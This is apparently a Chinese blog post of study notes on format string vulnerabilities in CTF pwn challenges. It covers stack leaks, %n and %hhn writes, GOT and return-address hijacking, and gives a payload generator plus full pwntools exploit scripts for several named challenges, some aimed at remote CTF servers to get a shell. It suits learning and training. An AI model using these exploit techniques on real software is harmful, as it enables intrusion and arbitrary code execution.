感觉前面写的挺多错误的,也不知道从哪里开始改了。。。
随便看看就好
一级标题的题目应该还是能看的
咕咕咕。。。
第三个地址指向的是格式化字符串第一个变量值
1 payload = p32(pwnme) + 'aaaa' + "%10$n"
p32 = 4字节
‘aaaa’ = 4字节
“%10$n” = 修改第10个参数 (通过[tag]%p%p…)
1 gdb-peda$ fmtarg [addr] #计算字符串偏移
1 fmtstr_payload(offset,{address:value})
32位:
64位:
小技巧总结
利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
利用 %s 来获取变量所对应地址的内容,只不过有零截断。
利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。
泄露内存
一般来说32位程序 b printf 的栈中 第一个变量是返回地址 第二个变量是格式化字符串的地址 第三个开始为第一个变量的值
泄露栈内存 获取栈变量数值 获取栈中被视为第 n+1 个参数的值(第一个是返回地址,所以从n+1开始) : %n$x
,或者用%p也可以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Breakpoint 1, __printf (format=0xffffcd10 "%3$x") at printf.c:28 28 in printf.c ─────────────────────────────────────────────────────[ code:i386 ]──── 0xf7e44667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4] 0xf7e4466d nop 0xf7e4466e xchg ax, ax → 0xf7e44670 <printf+0> call 0xf7f1ab09 <__x86.get_pc_thunk.ax> ↳ 0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp] 0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret 0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp] 0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret ─────────────────────────────────────────────────────[ stack ]──── ['0xffffccfc', 'l8'] 8 0xffffccfc│+0x00: 0x080484ce → <main+99> add esp, 0x10 ← $esp //返回地址 0xffffcd00│+0x04: 0xffffcd10 → "%3$x" //1 0xffffcd04│+0x08: 0xffffcd10 → "%3$x" //2 0xffffcd08│+0x0c: 0x000000c2 //3 0xffffcd0c│+0x10: 0xf7e8b6bb → <handle_intel+107> add esp, 0x10 //4 0xffffcd10│+0x14: "%3$x" ← $eax 0xffffcd14│+0x18: 0xffffce00 → 0x00000001 0xffffcd18│+0x1c: 0x000000e0 gef➤ c Continuing. f7e8b6bb[Inferior 1 (process 57442) exited normally]
这里输入%3$x,获得了printf的第四个参数所对应的值 f7e8b6bb
获取栈变量对应字符串
泄露任意地址内存
1 pwndbg> fmtarg 0xffffcefc
覆盖内存 1 %n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
覆盖栈内存 让c=16
1 payload = p32(c_addr) + '%012d' + '%6$n'
‘%012d’ = 12个字符 ‘%6$n’ = 占4个字符。用payload的字符个数更改第6个参数的值
覆盖任意地址内存 覆盖小数字 我们的格式化字符串的为第 6 个参数。(32位程序) 想要把 2 写到对应的地址处,故而格式化字符串的前面的字节必须是
此时对应的存储的格式化字符串已经占据了 6 个字符的位置,如果我们再添加两个字符 aa,那么其实 aa%k 就是第 6 个参数,$nxx 其实就是第 7 个参数,后面我们如果跟上我们要覆盖的地址,那就是第 8 个参数,所以如果我们这里设置 k 为 8,其实就可以覆盖了。
1 payload = 'aa%8$naa' + p32(a_addr)
覆盖大数字 0x12345678 在内存中由低地址到高地址依次为 \ x78\x56\x34\x12。再者,我们可以回忆一下格式化字符串里面的标志,可以发现有这么两个标志:
1 2 hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。 h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
1 2 %hhn 向某个地址写入单字节 %hn 向某个地址写入双字节
希望覆盖的地址为 0x0804A028。
1 2 .data:0804A028 public b .data:0804A028 b dd 1C8h ; DATA XREF: main:loc_8048510r
即我们希望将按照如下方式进行覆盖,前面为覆盖地址,后面为覆盖内容。
1 2 3 4 0x0804A028 \x78 0x0804A029 \x56 0x0804A02a \x34 0x0804A02b \x12
首先,由于我们的字符串的偏移为 6,所以我们可以确定我们的 payload 基本是这个样子的
1 p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'
payload生成器 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 def fmt (prev, word, index ): if prev < word: result = word - prev fmtstr = "%" + str (result) + "c" elif prev == word: result = 0 else : result = 256 + word - prev fmtstr = "%" + str (result) + "c" fmtstr += "%" + str (index) + "$hhn" return fmtstr def fmt_str (offset, size, addr, target ): payload = "" for i in range (4 ): if size == 4 : payload += p32(addr + i) else : payload += p64(addr + i) prev = len (payload) for i in range (4 ): payload += fmt(prev, (target >> i * 8 ) & 0xff , offset + i) prev = (target >> i * 8 ) & 0xff return payload payload = fmt_str(6 ,4 ,0x0804A028 ,0x12345678 )
offset 表示要覆盖的地址最初的偏移
size 表示机器字长
addr 表示将要覆盖的地址。
target 表示我们要覆盖为的目的变量值。
1 payload = fmt_str(6 , 4 , 0x0804A028 , 0x12345678 )
技巧 非栈上格式化字符串漏洞利用 改 ret 地址中的 libc_start_main 为 onegadget (可能ongadget失效)
改 printf 的 got 为 system/onegadget
x64例题 保护
IDA
格式化字符串漏洞,去gdb调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 [-------------------------------------code-------------------------------------] 0x7ffff7a62807 <__fprintf+135>: add rsp,0xd8 0x7ffff7a6280e <__fprintf+142>: ret 0x7ffff7a6280f: nop => 0x7ffff7a62810 <__printf>: sub rsp,0xd8 0x7ffff7a62817 <__printf+7>: test al,al 0x7ffff7a62819 <__printf+9>: mov QWORD PTR [rsp+0x28],rsi 0x7ffff7a6281e <__printf+14>: mov QWORD PTR [rsp+0x30],rdx 0x7ffff7a62823 <__printf+19>: mov QWORD PTR [rsp+0x38],rcx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde08 --> 0x400890 (<main+234>: mov edi,0x4009b8) 0008| 0x7fffffffde10 --> 0x61000001 0016| 0x7fffffffde18 --> 0x602830 --> 0x61616161 ('aaaa') 0024| 0x7fffffffde20 --> 0x602010 ("You answered:\ng\n") 0032| 0x7fffffffde28 --> 0x7fffffffde30 ("flag{", '1' <repeats 11 times>, "}\n\377\377\377\377") 0040| 0x7fffffffde30 ("flag{", '1' <repeats 11 times>, "}\n\377\377\377\377") 0048| 0x7fffffffde38 ("11111111}\n\377\377\377\377") 0056| 0x7fffffffde40 --> 0xffffffff0a7d
发现地址0x7fffffffde28,即第四个参数的位置是flag,偏移为 4。此外,由于这是一个 64 位程序,所以前 6 个参数存在在对应的寄存器中,fmt 字符串存储在 RDI 寄存器中,所以 fmt 字符串对应的地址的偏移为 4+6。
fmt 字符串中 %order$s
对应的 order 为 fmt 字符串后面的参数的顺序,所以我们只需要输入 %10-1$s ,即 %9$s 即可得到 flag 的内容。
exp:
1 2 3 4 5 6 7 8 from pwn import *context.log_level = 'debug' p = process("./goodluck" ) payload = '%9$s' p.sendlineafter('what\'s the flag' ,payload) p.interactive()
hijack GOT 2016 CCTF_pwn3 保护
1 2 3 4 5 6 [*] '/home/trick/Desktop/goodluck' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
格式化字符串漏洞在get函数中
基本思路:
绕过密码
确定格式化字符串参数偏移
利用 put@got 获取 put 函数地址,进而获取对应的 libc.so 的版本,进而获取对应 system 函数地址。
修改 puts@got 的内容为 system 的地址。
当程序再次执行 puts 函数的时候,其实执行的是 system 函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> stack 20 00:0000│ esp 0xffffcedc —▸ 0x80488a3 (get_file+173) ◂— leave 01:0004│ 0xffffcee0 —▸ 0xffffcefc —▸ 0x8048358 ◂— jae 0x80483ce /* 'strcmp' */ 02:0008│ 0xffffcee4 —▸ 0x8048baa ◂— insb byte ptr es:[edi], dx /* 'flag' */ 03:000c│ 0xffffcee8 ◂— 0x4 04:0010│ 0xffffceec —▸ 0x804830e ◂— jae 0x8048384 /* 'strncmp' */ 05:0014│ 0xffffcef0 ◂— 0x0 06:0018│ 0xffffcef4 —▸ 0xffffcf94 —▸ 0xf7e07b58 ◂— jbe 0xf7e07b71 07:001c│ 0xffffcef8 ◂— 0x1 08:0020│ eax 0xffffcefc —▸ 0x8048358 ◂— jae 0x80483ce /* 'strcmp' */ 09:0024│ 0xffffcf00 ◂— 0xffffffff 0a:0028│ 0xffffcf04 —▸ 0xffffcfa4 ◂— 0x0 0b:002c│ 0xffffcf08 —▸ 0xf7e07b58 ◂— jbe 0xf7e07b71 0c:0030│ 0xffffcf0c —▸ 0xf7fd31b0 —▸ 0xf7e03000 ◂— jg 0xf7e03047 0d:0034│ 0xffffcf10 ◂— 0xa /* '\n' */ 0e:0038│ 0xffffcf14 —▸ 0xf7fb6da7 (_IO_2_1_stdout_+71) ◂— 0xfb78700a 0f:003c│ 0xffffcf18 —▸ 0xffffcfd8 ◂— 0x3 10:0040│ 0xffffcf1c —▸ 0xf7e6b3f4 (new_do_write+52) ◂— mov esi, eax 11:0044│ 0xffffcf20 —▸ 0xf7fb6d60 (_IO_2_1_stdout_) ◂— 0xfbad2887 12:0048│ 0xffffcf24 —▸ 0xf7fb6da7 (_IO_2_1_stdout_+71) ◂— 0xfb78700a 13:004c│ 0xffffcf28 ◂— 0x1 pwndbg> fmtarg 0xffffcefc The index of format argument : 8 ("\%7$p")
数一下是在第几个位置,从0xffffcee4开始数,7,0xffffcefc,所以下面用 %8$s + puts_got 把后面第八个参数 puts_got 给读出来。也可以用fmtarg [addr]来计算偏移。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *from LibcSearcher import *context.log_level = 'debug' p = process("./pwn3" ) elf = ELF('./pwn3' ) puts_got = elf.got['puts' ] payload = '' name = 'sysbdmin' for i in name: payload += chr (ord (i)-1 ) print payloadp.sendlineafter('Name (ftp.hacker.server:Rainism):' ,payload) p.sendline('put' ) p.sendlineafter('please enter the name of the file you want to upload:' ,'1111' ) payload = '%8$s' + p32(puts_got) p.sendlineafter('then, enter the content:' ,payload) p.sendline('get' ) p.sendlineafter('enter the file name you want to get:' ,'1111' ) puts_addr = u32(p.recv()[:4 ]) print (hex (puts_addr))libc=LibcSearcher('puts' ,puts_addr) offset = puts_addr - libc.dump('puts' ) system_addr = offset + libc.dump('system' ) payload = fmtstr_payload(7 , {puts_got: system_addr}) p.sendline('put' ) p.sendlineafter('please enter the name of the file you want to upload:' ,'/bin/sh;' ) p.sendlineafter('then, enter the content:' ,payload) p.sendline('get' ) p.sendlineafter('enter the file name you want to get:' ,'/bin/sh;' ) p.sendline('dir' ) p.interactive()
hijiack retaddr 利用格式化字符串劫持返回地址到我们想要执行的地址
三个白帽 - pwnme_k0 保护
64位的程序,开启了NX保护和RELRO保护,没有办法修改程序的got表了。
IDA
格式化字符串漏洞点在注册完成之后查看功能里面
用shift+f12查看字符串,发现有system(“/bin/sh”)
利用思路:
断点在printf处调试,b *0x400B39
0x7fffffffdd68,也就是第7个格式化字符串参数的位置存放的是这个函数的返回地址(不是printf),而这个地址是会改变的,但可以通过 rbp 与 ret 的偏移来计算,也就是:0x7fffffffdda0 - 0x7fffffffdd68 = 0x38。继而如果我们知道了 rbp 的数值,就知道了函数返回地址的地址。 用上面的实验图片来说,先用%6$p作为密码,使其泄露出 rbp 的地址 0x7fffffffdda0,所以 rbp - 0x38 = ret_addr
再我们想要ret_addr 0x400d74 变成getshell 0x4008a6 的地址,他们只有低 2 字节不同,所以可以指修改 0x7fffffffdd68 开始的 2 个字节。
一种方法是通过 username 来保存 ret_addr,username 和 password 之间的距离为 20 个字节。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context.log_level="debug" context.arch="amd64" p = process("./pwnme" ) p.sendlineafter('Input your username(max lenth:20): ' ,'1111' ) p.sendlineafter('Input your password(max lenth:20): ' ,'%6$p' ) p.sendlineafter('>' ,'1' ) p.recvuntil('0x' ) rbp_addr = int (p.recv(12 ),16 ) print 'rbp=' ,hex (rbp_addr)ret_addr = (rbp_addr - 0x38 ) payload = '%2218d%8$hn' p.sendlineafter('>' ,'2' ) p.sendlineafter('please input new username(max lenth:20):' ,p64(ret_addr)) p.sendlineafter('please input new password(max lenth:20):' ,payload) p.sendlineafter('>' ,'1' ) p.recv() p.interactive()
第二种方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from pwn import *context.log_level="debug" context.arch="amd64" p = process("./pwnme" ) p.sendlineafter('Input your username(max lenth:20): ' ,'1111' ) p.sendlineafter('Input your password(max lenth:20): ' ,'%6$p' ) p.sendlineafter('>' ,'1' ) p.recvuntil('0x' ) rbp_addr = int (p.recv(12 ),16 ) print 'rbp=' ,hex (rbp_addr)ret_addr = (rbp_addr - 0x38 ) payload = '%2214u%12$hn' + p64(ret_addr) p.sendlineafter('>' ,'2' ) p.sendlineafter('please input new username(max lenth:20):' ,'bbbbbbbb' ) p.sendlineafter('please input new password(max lenth:20):' ,payload) p.sendlineafter('>' ,'1' ) p.recv() p.interactive()
比赛真题 HGame week1 once
IDA看,明显是格式化字符串漏洞,显然是⽤来 leak (泄露地址) 的了,泄露出 libc 的地址,就能计算出 onegadget 的地址了,最后覆盖返回地址,使得返回到 onegadget 就能拿到 shell
但是这不能⼀次就完成,要分两步,第⼀次利⽤要先 leak,覆盖返回地址,返回到漏洞开始的地⽅(这里就是程序的 vuln 函数),第⼆次就覆盖返回地址成 onegadget 即可
在第⼀步呢,有⼀个关键点,地址随机化的最低 12 bit,是不会变的,所以只要覆盖最低的 1 个字节,就可以返回到其它相近的地⽅,⽐如 vuln 函数的开头,
我用[tag]的方法找字符串的偏移老找不准:
如果想要找到栈中一些函数的地址来计算偏移的时候,不知道break在printf处后,栈中第一个值到底是第几个参数,所以我用了IDA去找。
test_exp:
1 2 3 4 5 6 7 8 9 from pwn import *context.terminal = ['gnome-terminal' , '-x' , 'zsh' , '-c' ] context.log_level = 'debug' p = remote('127.0.0.1' ,12345 ) payload = 'AAAA' + '%1$p' +'%2$p' + '%3$p' +'%4$p' + '%5$p' + '%6$p' + '%13$p' + '%14$p' p.sendafter('It is your turn: ' ,payload)
可以看到第13个参数是一个 libc_start_main 的地址,利用这个地址与题目给的 libc 文件就可以计算出 onegadget
最后的 getshell 中 +0x4f3d5 用 one_gadget [libcname] 指令
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *context.terminal = ['gnome-terminal' , '-x' , 'zsh' , '-c' ] context.log_level = 'info' p = remote('182.92.108.71' ,30107 ) libc = ELF('./libc-2.27.so' , checksec=False ) binary = ELF('./once' , checksec=False ) payload = '%13$p\n' payload = payload.ljust(0x28 ,'a' ) payload += '\xD3' p.sendafter('It is your turn: ' ,payload) libc_addr = p.recvuntil('\n' ,'True' ) libc_addr = int (libc_addr,16 ) libc_base = libc_addr - libc.symbols['__libc_start_main' ] - 0xe7 print ('libc_base' ,hex (libc_base))getshell = 'a' *0x28 getshell += p64(libc_base + 0x4f3d5 ) p.recvuntil('It is your turn: ' ) p.sendline(getshell) p.interactive()
NepCTF (未解决) scmt 2021.3.25
找不到点
官方writeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *context.log_level = 'debug' p= process("./scmt" ) payload = '%*8$p%7$n' p.sendlineafter('tell me your name:' ,payload) p.sendafter(' number:' ,'-' ) p.interactive()
wdb_2018_2nd_easyfmt
格式化字符串漏洞
利用思路
找格式化字符偏移量
利用格式化字符串打印 got 表地址,计算出 libc
将 printf@got 改为 system
漏洞利用 offset
offset = 6
leak printf@got 1 payload = p32(printf_got) + '%6$s'
修改 printf@got 1 payload = fmtstr_payload(6 ,{printf_got:system_addr})
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from LibcSearcher import *import time, sys, base64from struct import packcontext.os = 'linux' context.arch = 'i386' context.log_level = 'debug' debug = 1 if debug == 1 : p = process('./wdb_2018_2nd_easyfmt' ) if debug == 2 : p = remote('node4.buuoj.cn' ,28214 ) if debug == 3 : p = remote('127.0.0.1' ,23946 ) elf = ELF('./wdb_2018_2nd_easyfmt' ) printf_got = elf.got['printf' ] p.recvuntil("Do you know repeater?" ) payload = p32(printf_got) + '%6$s' p.sendline(payload) printf_addr = u32(p.recvuntil('\xf7' )[-4 :]) log.success('printf_addr: ' +hex (printf_addr)) libc = LibcSearcher('printf' ,printf_addr) libc_base = printf_addr - libc.dump('printf' ) system_addr = libc_base + libc.dump('system' ) log.success('libc_base: ' +hex (libc_base)) log.success('system_addr: ' +hex (system_addr)) payload = fmtstr_payload(6 ,{printf_got:system_addr}) p.sendline(payload) p.sendline("/bin/sh\x00" ) gdb.attach(p,'b *0x080485CA' ) p.sendline('cat flag' ) p.interactive()
* axb_2019_fmt64 * 64位程序格式化字符串漏洞 保护
IDA
漏洞利用 计算格式化字符偏移 1 payload = 'aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.'
偏移为 8
泄露 got 表 此处构造64位程序的payload需要注意:
8字节的对齐
printf 遇到 \x00
时会截断,认为字符串已经结束。所以构造的时候地址要放在格式化字符的后面,放在前面会被截断
1 payload = '%9$saaaa' + p64(printf_got)
PS:
加上 aaaa
是为了凑够 8字节。len(‘%8$saaaa’) = 8
上面计算偏移为 8,但在这里用了9。在我理解中,%8
泄漏的是 '%9$saaaa'
这个字符串,它的下一个9(8+1)才是 p64(printf_got)
计算 libc_base、system 地址
这里试过修改 printf@got 指向 system,但是失败了,具体原因没有找到;改用 strlen 后成功 getshell
在后面打远程的时候,一开始泄漏 printf@got 程序运行不了了,也不太像延迟绑定机制,挺无语的。改为泄漏 puts@got 就成功了
几种不同的修改字节方式
如果只是仅仅写入一个字节。最后一个对应 printf_got
,倒数第二个对应 printf_got+1
,倒数第二个对应 printf_got+2
。如果写入的不止一个字节,则还需要计算前面已经有多少个字符数量。
我们知道:
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置
真实地址是从最后一位开始泄漏的,所以我们第一个修改的字节也就是真实地址的最后一位
%n:写入 4 字节
%hn:写入 2 字节
%hnn:写入 1 字节
%hnn 逐一写入字节 前提条件 让这个地址的后三位是按从大到小的顺序排列,因为我们的%n是目标地址中的值修改为其前面打印出的字符数量,所以如果地址的后三位不是按我们要求的递增来的,那么我们用%c来修改值的话就不好计算
1 2 3 4 5 6 7 8 system = hex (system_addr)[8 :] a = system[:2 ] b = system[2 :4 ] c = system[4 :] if a<b or b<c: execfile('test.py' ) quit()
payload 构造(简写)
先修改最后一个字节
1 payload = '%' + str (c-9 ) + 'c' + '%[i]$hhn'
c-9 是因为 printf 还会输出 Repeater
,长度为9,所以减去
i 可以到后面在计算
修改中间字节
1 payload += '%' + str (b-c) + 'c' + '%[i+1]$hhn'
修改第三个字节
1 payload += '%' + str (a-b) + 'c' + '%[i+2]$hhn'
对齐
前面说到要8字节对齐,这个 payload 一共有 33 个字符,补到 8 的倍数即 40
1 payload = payload.ljust(40 ,'a' )
接上目的地址
1 payload += p64(strlen_got) + p64(strlen_got+1 ) + p64(strlen_got+2 )
这时我们就可以填补上第1点中的变量 i。最后一个字节对应 p64(strlen_got)
,前面计算出格式化字符偏移是8,每过一个字节即偏移加一,在p64(strlen_got)
之前一共有40个字符,即偏移 = 8+5 = 13。也可以 send 一次确定偏移
补全的 payload 如下
1 2 3 4 5 payload = '%' + str (int (c,16 )-9 ) + 'c' + '%13$hhn' payload += '%' + str (int (b,16 )-int (c,16 )) + 'c' + '%14$hhn' payload += '%' + str (int (a,16 )-int (b,16 )) + 'c' + '%15$hhn' payload = payload.ljust(40 ,'a' ) payload += p64(strlen_got) + p64(strlen_got+1 ) + p64(strlen_got+2 )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from pwn import *from LibcSearcher import *import time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 1 filename = 'axb_2019_fmt64' if debug == 1 : p = process(filename) if debug == 2 : p = remote('node4.buuoj.cn' ,25756 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) elf = ELF(filename) libc = elf.libc printf_got = elf.got['printf' ] puts_got = elf.got["puts" ] strlen_got = elf.got["strlen" ] payload = '%9$saaaa' + p64(puts_got) p.recvuntil('Please tell me:' ) p.send(payload) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc_base = puts_addr - libc.sym['puts' ] system_addr = libc_base + libc.sym['system' ] log.success('puts_addr: ' + hex (puts_addr)) log.success('system_addr: ' + hex (system_addr)) system = hex (system_addr)[8 :] a = system[:2 ] b = system[2 :4 ] c = system[4 :] log.success('system: ' + system) log.success('a: ' + a) log.success('b: ' + b) log.success('c: ' + c) if a<b or b<c: log.success('yes' ) execfile('test.py' ) quit() payload = '%' + str (int (c,16 )-9 ) + 'c' + '%13$hhn' payload += '%' + str (int (b,16 )-int (c,16 )) + 'c' + '%14$hhn' payload += '%' + str (int (a,16 )-int (b,16 )) + 'c' + '%15$hhn' payload = payload.ljust(40 ,'a' ) payload += p64(strlen_got) + p64(strlen_got+1 ) + p64(strlen_got+2 ) p.recvuntil('Please tell me:' ) p.sendline(payload) payload = ';/bin/sh\x00' p.recvuntil('Please tell me:' ) p.sendline(payload) p.interactive()
%hn 写入 2 字节 + 写入 1 字节 PS:沿用上面方法得出的数据
发现 system 和 strlen 的真实地址只相差了倒数第二第三,两个字节
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 from pwn import *from LibcSearcher import *import time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 1 filename = 'axb_2019_fmt64' if debug == 1 : p = process(filename) if debug == 2 : p = remote('node4.buuoj.cn' ,26296 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) elf = ELF(filename) libc = elf.libc puts_got = elf.got['printf' ] puts_got = elf.got["puts" ] strlen_got = elf.got["strlen" ] payload = '%9$saaaa' + p64(puts_got) p.recvuntil('Please tell me:' ) p.send(payload) one = [0x45226 ,0x4527a ,0xf03a4 ,0xf1247 ] puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) libc_base = puts_addr - libc.sym['puts' ] strlen_addr = libc_base + libc.sym['strlen' ] system_addr = libc_base + libc.sym['system' ] log.success('puts_got: ' + hex (puts_got)) log.success('puts_addr: ' + hex (puts_addr)) log.success('strlen_addr: ' + hex (strlen_addr)) log.success('system_addr: ' + hex (system_addr)) high = (system_addr >> 16 ) & 0xff low = system_addr & 0xffff log.success('low: ' + hex (low)) log.success('high: ' + hex (high)) log.success('strlen_got: ' + hex (strlen_got)) payload = '%' + str (high-9 ) + 'c' + '%12$hhn' payload += '%' + str (low-high) + 'c' + '%13$hn' payload = payload.ljust(32 ,'a' ) payload += p64(strlen_got+2 ) + p64(strlen_got) p.recvuntil('Please tell me:' ) p.sendline(payload) payload = ';/bin/sh\x00' p.recvuntil('Please tell me:' ) p.sendline(payload) p.interactive()
%n 写入 4 字节 因为写入4字节的字符串长度实在太长,程序容易崩溃,拿上面得到的 strlen 和 system 地址来说,system 地址的后4个字节为 0x70d743a0 = 1893155744
。
1 payload = 'a' * sys_addr + '%7$n' + p64(printf_got)
就算题目没有限制写入大小的限制,程序读入这么多字符也容易崩溃
此方法不考虑
咕咕咕…